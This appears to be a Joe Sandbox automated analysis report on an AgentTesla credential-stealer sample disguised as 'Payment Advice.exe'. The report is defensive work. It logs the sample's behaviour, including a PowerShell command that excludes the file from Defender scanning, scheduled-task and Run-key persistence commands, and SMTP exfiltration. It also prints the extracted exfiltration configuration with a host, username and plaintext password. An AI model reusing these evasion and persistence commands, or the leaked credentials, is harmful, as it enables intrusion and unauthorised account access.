0x33f94:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6efb4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
20.2.BjTxJte.exe.3ce4260.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
20.2.BjTxJte.exe.3ce4260.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
20.2.BjTxJte.exe.3ce4260.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33c04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ee24:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa9e44:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33c76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ee96:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa9eb6:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33d00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ef20:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9f40:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6efb2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9fd2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33dfc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f01c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xaa03c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33e6e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f08e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xaa0ae:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33f04:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f124:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xaa144:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33c04:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ee24:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa9e44:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33c76:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ee96:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa9eb6:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33d00:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ef20:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9f40:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d92:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6efb2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9fd2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33dfc:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f01c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xaa03c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33e6e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f08e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xaa0ae:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33f04:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f124:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xaa144:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 37 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment Advice.exe", ParentImage: C:\Users\user\Desktop\Payment Advice.exe, ParentProcessId: 6700, ParentProcessName: Payment Advice.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe", ProcessId: 7116, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Payment Advice.exe, ProcessId: 7404, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BjTxJte

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe, ParentImage: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe, ParentProcessId: 7524, ParentProcessName: sFPEKzHsLkYZIz.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp", ProcessId: 7756, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 94.100.26.91, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Payment Advice.exe, Initiated: true, ProcessId: 7404, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49738

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment Advice.exe", ParentImage: C:\Users\user\Desktop\Payment Advice.exe, ParentProcessId: 6700, ParentProcessName: Payment Advice.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp", ProcessId: 7236, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment Advice.exe", ParentImage: C:\Users\user\Desktop\Payment Advice.exe, ParentProcessId: 6700, ParentProcessName: Payment Advice.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe", ProcessId: 7116, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment Advice.exe", ParentImage: C:\Users\user\Desktop\Payment Advice.exe, ParentProcessId: 6700, ParentProcessName: Payment Advice.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp", ProcessId: 7236, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 20.2.BjTxJte.exe.3d1f480.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.seawaysfreight-bd.com", "Username": "samsuddin@seawaysfreight-bd.com", "Password": "36@SaM%sFl#"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: Payment Advice.exe

ReversingLabs: Detection: 39%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Payment Advice.exe

Joe Sandbox ML: detected

Source: Payment Advice.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49750 version: TLS 1.2

Source: Payment Advice.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Code function: 4x nop then jmp 06EE4434h

14_2_06EE3E4A

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 94.100.26.91:587

Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 94.100.26.91 94.100.26.91

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 94.100.26.91:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: Payment Advice.exe, BjTxJte.exe.8.dr, sFPEKzHsLkYZIz.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Payment Advice.exe, BjTxJte.exe.8.dr, sFPEKzHsLkYZIz.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002E1E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000318E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002E67000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.00000000030FD000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000002FF8000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000003247000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.seawaysfreight-bd.com
Source: Payment Advice.exe, BjTxJte.exe.8.dr, sFPEKzHsLkYZIz.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Payment Advice.exe, 00000008.00000002.4119763177.000000000101B000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4171500763.0000000006662000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006260000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006281000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009210000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009225000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/09
Source: Payment Advice.exe, 00000008.00000002.4119763177.000000000101B000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4171500763.0000000006662000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006260000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006281000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009210000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009225000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: Payment Advice.exe, 00000000.00000002.1710843743.000000000318F000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 00000009.00000002.1756192021.000000000336F000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.0000000002891000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000E.00000002.1849213275.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.1931578848.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Payment Advice.exe, 00000008.00000002.4124616083.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002E1E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000318E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002E67000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.00000000030FD000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000002FF8000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000003247000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://seawaysfreight-bd.com
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
